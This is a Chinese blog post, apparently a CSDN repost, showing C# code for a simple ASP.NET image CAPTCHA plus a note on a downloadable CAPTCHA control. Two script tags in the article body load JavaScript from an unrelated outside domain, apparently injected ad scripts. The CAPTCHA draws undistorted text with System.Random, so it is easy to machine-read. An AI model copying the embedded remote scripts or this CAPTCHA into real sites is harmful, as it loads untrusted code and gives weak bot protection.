ASP.NET实现简单的验证码

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

今天在公司忙完工作后总结验证码的实现,验证码在我们日常填写表单时很常见的。我从两个方面的实现.net下验证码的实现过程。希望能够给初学者带来帮助,也希望能起到抛砖引玉的作用:
一.通过自己写代码实现(牵涉到GDI+相关知识)
1.新建一个专门生成验证码的页面如:ValidateCode.aspx
2.在该页面的Page_Load事件里实现动态随机生成验证码图片:

private void Page_Load(object sender, System.EventArgs e)
{
if(!Page.IsPostBack)
{
//RndNum是一个自定义函数
//这里的数字4代表显示的是4位的验证字符串!
//string VNum=RndNum(4);
string VNum=this.GenerateRandom(4);
Session["VNum"]=VNum;
this.Validate_Code(VNum);

}
}private void Validate_Code(string VNum)
{
int Gheight=(int)(VNum.Length*11.5);
//Gheight为图片的宽度,根据字符串长度自动改变图片宽度
System.Drawing.Bitmap Img=new Bitmap(Gheight,20);
Graphics g=Graphics.FromImage(Img);
g.DrawString(VNum,new System.Drawing.Font("Arial",10),new System.Drawing.SolidBrush(Color.Red),3,3);
//在矩形内绘制字串(字串,字体,画笔颜色,左上x,左上y)

System.IO.MemoryStream ms=new System.IO.MemoryStream();
Img.Save(ms,System.Drawing.Imaging.ImageFormat.Png);
Response.ClearContent();//需要输出图象信息 要修改HTTP头
Response.ContentType="image/Png";
Response.BinaryWrite(ms.ToArray());
g.Dispose();
Img.Dispose();
Response.End();
}

public string GenerateRandom(int length)
{
System.Text.StringBuilder newRandom=new System.Text.StringBuilder(62);
Random rd=new Random();
for(int i=0;i<length;i++)
{
newRandom.Append(constant[rd.Next(62)]);
}
return newRandom.ToString();
}
private static char[] constant={'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' };
3.如果要在页面a.aspx生成验证码,则在该页面添加一个图片控件,假设命名为:Image1,然后在page_Load事件中写如下代码:
//Image.ImageURL = "ValidateCode.aspx";
这样就可以生成验证码了,ValidateCode.aspx页面可以随便放在哪里,不过要注意Image1.ImageURL 要写对,同级可以直接写ValidateCode.aspx,上一级写../ValidateCode.aspx,很方便吧。
二.验证码控件实现
用验证码实现就更简单了。通过下载点击下载就可以得到一个dll文件和相关的帮助文档.
通过把下载下来的dll文件添加到工具箱中变成自定义控件的过程拖到页面上来就可以实现验证码了。当然还可以设置有关属性。如字体的类型。表现形式,位置,长度都可以设置,具体可以参见下载下来的帮助文档。很全面。
下图是我用这种控件生成出来的效果图:

很酷吧!

来源:http://www.cnblogs.com/Charles2008

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值